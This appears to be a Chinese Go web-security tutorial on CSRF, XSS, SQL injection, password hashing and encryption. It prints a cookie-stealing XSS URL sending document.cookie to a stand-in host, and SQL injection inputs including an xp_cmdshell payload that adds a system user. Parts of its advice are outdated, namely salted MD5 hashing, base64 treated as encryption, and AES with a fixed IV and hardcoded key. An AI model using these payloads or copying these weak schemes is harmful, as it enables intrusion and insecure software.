预防 CSRF 攻击
跨站请求伪造 CSRF/XSRF(Cross-site request forgery),也被称为 one click attack/session riding。
要完成一次 CSRF 攻击,受害者必须依次完成两个步骤:
- 登录受信任网站 A,并在本地生成 Cookie。
- 在不退出 A 的情况下,访问危险网站 B。 如何预防 CSRF?在非 GET 方式的请求中增加随机数,这个大概有三种方式来进行:
- 为每个用户生成一个唯一的 cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者理论上不能获得第三方的 cookie(没有 XSS 漏洞的情况下),所以表单中的数据也就构造失败。
- 每个请求使用验证码,用户友好性很差,所以不适合实际运用。
- 不同的表单包含一个不同的伪随机值。
// 生成随机数 token h := md5.New() io.WriteString(h, strconv.FormatInt(crutime, 10)) io.WriteString(h, "ganraomaxxxxxxxxx") token := fmt.Sprintf("%x", h.Sum(nil)) t, _ := template.ParseFiles("login.gtpl") t.Execute(w, token)// 输出 token <input type="hidden" name="token" value="{{.}}">// 验证 token r.ParseForm() token := r.Form.Get("token") if token != "" { // 验证 token 的合法性 } else { // 不存在 token 报错 }
避免 XSS 攻击
跨站脚本攻击 XSS(Cross-Site Scripting)是一种常见的 web 安全漏洞,XSS 涉及到三方(攻击者、客户端和 web 应用)。XSS 的攻击目标是为了盗取存储在客户端的 cookie 或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。
XSS 通常可以分为两大类:
- 一类是存储型 XSS,恶意伪造用户的 Html 输入 Web 程序 -> 进入数据库 -> Web 程序 -> 用户浏览器。
- 一类是反射型 XSS,主要做法是将脚本代码加入 URL 地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。 XSS 目前主要的手段和目的如下:
- 盗用 cookie,获取敏感信息。
- 植入 Flash,通过 crossdomain 权限设置进一步获取更高权限,或者利用 Java 等得到类似的操作。
- 利用 iframe、frame、XMLHttpRequest 或上述 Flash 等方式,以(被攻击者)用户的身份执行如发微博、加好友、发私信等常规操作。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
- 在访问量极大的一些页面上通过 XSS 可以攻击一些小型网站,实现 DDoS(DOS 是 denial of service 的缩写,最前面的那个 D 是 distributed)攻击的效果。
Web 应用未对用户请求的数据做充分的检查过滤,允许用户在提交的数据中掺入 HTML 代码(最主要的是
>、<),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致 XSS 漏洞产生的原因。
比如传递这样的 url:http://127.0.0.1/?name=<script>alert('test,xss')</script>,这时就会发现浏览器跳出一个弹出框,这说明站点已经存在 XSS 漏洞。那么恶意用户是如何盗取 Cookie 的呢?与上类似,如下这样的 url:http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>,这样就可以把当前的 cookie 发送到指定的站点www.xxx.com。 目前防御 XSS 主要有如下几种方式: - 过滤特殊字符,Go 语言提供了 HTML 的过滤函数,
text/template包下面的HTMLEscapeString、JSEscapeString等方法; - 使用 HTTP 头指定类型,
w.Header().Set("Content-Type","text/javascript");
确保输入过滤
- 识别数据,搞清楚需要过滤的数据来自于哪里。
- 过滤数据,弄明白需要什么样的数据。
避免 SQL 注入
SQL 注入攻击(SQL Injection),简称注入攻击,是 Web 开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。
SQL 注入实例
username := r.Form.Get("username")
password := r.Form.Get("password")
sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"
如果用户输入的用户名如下,密码任意。
myuser' or 'foo' = 'foo' --
那么 SQL 变成了如下所示:
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
对于 MSSQL 还有更加危险的一种 SQL 注入,就是控制系统,下面这个例子将演示如何在某些版本的 MSSQL 数据库上执行系统命令。
sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'"
Db.Exec(sql)
如果攻击提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- 作为变量 prod 的值,那么 sql 将会变成:
sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
如何防治 SQL 注入?
- 严格限制 Web 应用的数据库操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害;
- 对于进入数据库的特殊字符(
', ", \, <, >, &, *, ;等)进行转义处理,或编码转换。Go 的text/template包里面的HTMLEscapeString方法可以对字符串进行转义处理; - 所有的查询语句建议使用数据库提供的参数化查询接口,即不要直接拼接 SQL 语句。例如使用
database/sql里面的查询方法Prepare和Query,或者Exec(query string, args ...interface{}); - 在应用发布之前建议使用专业的 SQL 注入检测工具进行检测,例如 sqlmap、SQLninja 等;
- 避免网站打印出 SQL 错误信息,比如类型错误、字段不匹配等,把代码里的 SQL 语句暴露出来,以防止攻击者利用这些错误信息进行 SQL 注入。
存储密码
普通方案
目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据,这也是“单向”二字的来源,常用的单向哈希算法包括 SHA-256、SHA-1、MD5 等。
// import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("%x", h.Sum(nil))
// import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("%x", h.Sum(nil))
// import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))
单向哈希有两个特性:
- 同一个密码进行单向哈希,得到的总是唯一确定的摘要;
- 计算速度快,随着技术进步,一秒钟能够完成数十亿次单向哈希计算;
进阶方案
现在都会用一种叫做“加盐(salt)”的方式来存储密码。先将用户输入的密码进行一次 MD5(或其它哈希算法)加密,将得到的 MD5 值前后加上一些只有管理员自己知道的随机串,再进行一次 MD5 加密。这个随机串中可以包括某些固定的串,也可以包括用户名(用来保证每个用户加密使用的密钥都不一样)。
// import "crypto/md5"
// 假设用户名 abc,密码 123456
h := md5.New()
io.WriteString(h, "需要加密的密码")
// pwmd5 等于 e10adc3949ba59abbe56e057f20f883e
pwmd5 := fmt.Sprintf("%x", h.Sum(nil))
// 指定两个 salt
salt1 := "@#$%"
salt2 := "^&*()"
// salt1 + 用户名 + salt2 + MD5 拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)
last := fmt.Sprintf("%x", h.Sum(nil))
专家方案
这里推荐 scrypt 方案,scrypt 是由著名的 FreeBSD 黑客 Colin Percival 为他的备份服务 Tarsnap 开发的,目前 Go 语言里面支持的库 https://github.com/golang/crypto/tree/master/scrypt。
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
加密和解密数据
base64 加解密
如果 Web 应用足够简单,数据的安全性没有那么严格的要求,那么可以采用一种比较简单的加解密方法是 base64,这种方式实现起来比较简单。
func main() {
// encode
hello := "你好,世界! hello world"
debyte := base64Encode([]byte(hello))
fmt.Println(debyte)
// decode
enbyte, err := base64Decode(debyte)
if err != nil {
fmt.Println(err.Error())
}
if hello != string(enbyte) {
fmt.Println("hello is not equal to enbyte")
}
fmt.Println(string(enbyte))
}
func base64Encode(src []byte) []byte {
return []byte(base64.StdEncoding.EncodeToString(src))
}
func base64Decode(src []byte) ([]byte, error) {
return base64.StdEncoding.DecodeString(string(src))
}
高级加解密
go 语言的 crypto 里面支持对称加密的高级加解密包有:
crypto/aes包:AES(Advanced Encryption Standard),又称 Rijndael 加密法,是美国联邦政府采用的一种区块加密标准;crypto/des包:DES(Data Encryption Standard),是一种对称加密标准,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。曾是美国联邦政府的加密标准,但现已被 AES 所替代。
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}
func main() {
// 需要去加密的字符串
plaintext := []byte("My name is Astaxie")
// 如果传入加密串的话,plaint 就是传入的字符串
if len(os.Args) > 1 {
plaintext = []byte(os.Args[1])
}
// aes 的加密字符串
key_text := "astaxie12798akljzmknm.ahkjkljl;k"
if len(os.Args) > 2 {
key_text = os.Args[2]
}
// fmt.Println(len(key_text))
// 创建加密算法 aes
c, err := aes.NewCipher([]byte(key_text))
if err != nil {
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
os.Exit(-1)
}
// 加密字符串
cfb := cipher.NewCFBEncrypter(c, commonIV)
ciphertext := make([]byte, len(plaintext))
cfb.XORKeyStream(ciphertext, plaintext)
fmt.Printf("%s=>%x\n", plaintext, ciphertext)
// 解密字符串
cfbdec := cipher.NewCFBDecrypter(c, commonIV)
plaintextCopy := make([]byte, len(plaintext))
cfbdec.XORKeyStream(plaintextCopy, ciphertext)
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}
上面通过调用方法 aes.NewCipher,参数 key 必须是 16、24 或者 32 位的 []byte,分别对应 AES-128、AES-192 或 AES-256 算法,返回了一个 cipher.Block 接口,这个接口实现了三个功能。
type Block interface {
// BlockSize returns the cipher's block size.
BlockSize() int
// Encrypt encrypts the first block in src into dst.
// Dst and src may point at the same memory.
Encrypt(dst, src []byte)
// Decrypt decrypts the first block in src into dst.
// Dst and src may point at the same memory.
Decrypt(dst, src []byte)
}